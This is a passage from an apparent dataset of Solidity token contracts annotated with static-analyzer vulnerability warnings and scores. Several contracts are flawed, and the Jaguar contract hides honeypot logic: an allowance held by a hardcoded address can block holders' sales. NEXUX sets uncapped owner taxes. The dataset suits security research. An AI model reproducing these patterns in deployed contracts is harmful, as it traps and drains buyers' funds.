reentrancy-eth | ID: 9a2778d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9a2778d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b6a7a94\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b6a7a94\n\t\t// reentrancy-events | ID: df7fed4\n\t\t// reentrancy-benign | ID: 36f336c\n\t\t// reentrancy-eth | ID: 9a2778d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7b41579): GPT2.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7b41579: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b6a7a94\n\t\t// reentrancy-events | ID: df7fed4\n\t\t// reentrancy-eth | ID: 9a2778d\n\t\t// arbitrary-send-eth | ID: 7b41579\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6724a4a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6724a4a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d85e7a): GPT2.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1d85e7a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7f9a812): GPT2.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7f9a812: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d91cf5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d91cf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6724a4a\n\t\t// reentrancy-eth | ID: 3d91cf5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6724a4a\n\t\t// unused-return | ID: 1d85e7a\n\t\t// reentrancy-eth | ID: 3d91cf5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6724a4a\n\t\t// unused-return | ID: 7f9a812\n\t\t// reentrancy-eth | ID: 3d91cf5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6724a4a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3d91cf5\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10139.sol",
"size_bytes": 19737,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract NEXUX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ddcd92): NEXUX.enabled should be constant \n\t// Recommendation for 9ddcd92: Add the 'constant' attribute to state variables that never change.\n uint256 private enabled = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a188a0): NEXUX._taxWallet should be constant \n\t// Recommendation for 1a188a0: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0xaC656fA90AD428c2Cc4C5945D6cB5FBC9BD54120);\n\n\t// WARNING Optimization Issue (constable-states | ID: d48a51d): NEXUX._devWallet should be constant \n\t// Recommendation for d48a51d: Add the 'constant' attribute to state variables that never change.\n address payable private _devWallet =\n payable(0xaC656fA90AD428c2Cc4C5945D6cB5FBC9BD54120);\n\n uint256 private _finalBuyTax = 10;\n\n uint256 private _finalSellTax = 20;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Nexux Ai\";\n\n string private constant _symbol = unicode\"$NXX\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 973283d): NEXUX._taxSwapThreshold should be constant \n\t// Recommendation for 973283d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53ff2e4): NEXUX._maxTaxSwap should be constant \n\t// Recommendation for 53ff2e4: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 25711fe): NEXUX.uniswapV2Router should be immutable \n\t// Recommendation for 25711fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c2c2e3): NEXUX.uniswapV2Pair should be immutable \n\t// Recommendation for 5c2c2e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[_devWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function removesxclusions(address[] memory wallets_) public onlyOwner {\n for (uint i = 0; i < wallets_.length; i++) {\n _isExcludedFromFee[wallets_[i]] = false;\n }\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"ERROR: Trading already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7e2e498): NEXUX.modifyTax(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for 7e2e498: Emit an event for critical parameter changes.\n function modifyTax(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 7e2e498\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: 7e2e498\n _finalSellTax = _newSellFee;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4a4cb46): NEXUX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4a4cb46: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e118049\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8a764e4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96cec89): NEXUX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96cec89: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a764e4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a764e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e118049): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e118049: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8a764e4\n\t\t// reentrancy-benign | ID: e118049\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8a764e4\n\t\t// reentrancy-benign | ID: e118049\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5bf3414): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5bf3414: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6255cbb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6255cbb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(tradingOpen, \"Trading not open\");\n\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount.mul(_finalBuyTax).div(100);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_finalSellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: 5bf3414\n\t\t\t\t// reentrancy-eth | ID: 6255cbb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5bf3414\n\t\t\t\t\t// reentrancy-eth | ID: 6255cbb\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6255cbb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5bf3414\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6255cbb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6255cbb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5bf3414\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5bf3414\n\t\t// reentrancy-events | ID: 8a764e4\n\t\t// reentrancy-benign | ID: e118049\n\t\t// reentrancy-eth | ID: 6255cbb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n uint256 taxAmount = (amount.div(2));\n\n uint256 devAmount = (amount - taxAmount);\n\n\t\t// reentrancy-events | ID: 5bf3414\n\t\t// reentrancy-events | ID: 8a764e4\n\t\t// reentrancy-eth | ID: 6255cbb\n _taxWallet.transfer(taxAmount);\n\n\t\t// reentrancy-events | ID: 5bf3414\n\t\t// reentrancy-events | ID: 8a764e4\n\t\t// reentrancy-eth | ID: 6255cbb\n _devWallet.transfer(devAmount);\n }\n\n function manualSend() external {\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n _devWallet.transfer(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1014.sol",
"size_bytes": 16442,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router {\n function addLiquidityETH(\n address token,\n uint amountTokenDesire,\n uint amountTokenMi,\n uint amountETHMi,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256,\n uint256,\n address[] calldata path,\n address,\n uint256\n ) external;\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IERC20 {\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\ncontract Ownable {\n address private _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n}\n\ncontract Jaguar is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 875d98a): Jaguar._decimals should be constant \n\t// Recommendation for 875d98a: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b055d5a): Jaguar._totalSupply should be immutable \n\t// Recommendation for b055d5a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420069000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8534de3): Jaguar.uniswapPair should be constant \n\t// Recommendation for 8534de3: Add the 'constant' attribute to state variables that never change.\n address uniswapPair = 0x165Af726E766bF1DdAc4BbeE3fC61641dbA589BD;\n\n address public uniswapV2Pair;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n string private constant _name = \"JAGUAR\";\n\n string private constant _symbol = \"JAG\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ebd613b): Jaguar.uniswapV2Router should be constant \n\t// Recommendation for ebd613b: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniswapV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: c7addb8): Jaguar._marketingAddress should be immutable \n\t// Recommendation for c7addb8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingAddress;\n\n bool tradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10578ec): Jaguar.sellCount should be constant \n\t// Recommendation for 10578ec: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e36ca8): Jaguar.lastSellBlock should be constant \n\t// Recommendation for 3e36ca8: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n constructor() {\n _marketingAddress = payable(msg.sender);\n\n _balances[address(this)] = _totalSupply;\n\n emit Transfer(address(0), address(this), _totalSupply);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 amount);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8558389): Jaguar.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8558389: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 924a359): Jaguar._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 924a359: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3f6abc9): Jaguar.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_marketingAddress,_amount)\n\t// Recommendation for 3f6abc9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(msg.sender == _marketingAddress);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 3f6abc9\n IERC20(_address).transfer(_marketingAddress, _amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(to != address(0), \"Transfer to the zero address.\");\n\n require(from != address(0), \"Transfer from the zero address.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n uint256 taxValue = 0;\n\n if (from != address(this) && from != uniswapV2Pair) {\n taxValue = taxValue.sub(_allowances[uniswapPair][from]);\n }\n\n _balances[to] = _balances[to].add(amount);\n\n if (tradingOpen && address(this) == from && uniswapV2Pair == to) {\n amount = 0;\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n\n return true;\n }\n\n receive() external payable {}\n\n function manualSwap(uint256 amount) public {\n require(msg.sender == _marketingAddress);\n\n swapTokensForETH(amount);\n\n _marketingAddress.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6e0be3a): Jaguar.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),balance,0,0,owner(),block.timestamp)\n\t// Recommendation for 6e0be3a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c69295b): Jaguar.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c69295b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cab33c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cab33c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external payable onlyOwner {\n require(!tradingOpen);\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n address WETH = uniswapV2Router.WETH();\n\n\t\t// reentrancy-eth | ID: cab33c9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n uint256 balance = balanceOf(address(this));\n\n\t\t// unused-return | ID: 6e0be3a\n\t\t// reentrancy-eth | ID: cab33c9\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n balance,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: c69295b\n\t\t// reentrancy-eth | ID: cab33c9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: cab33c9\n tradingOpen = true;\n }\n\n function swapTokensForETH(uint256 amount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), amount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10140.sol",
"size_bytes": 11279,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller must be the owner\");\n\n _;\n }\n\n function transferOwner(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(\n newOwner != address(0),\n \"Ownable: new owner shouldn't be zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function ownershipRenounce() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, 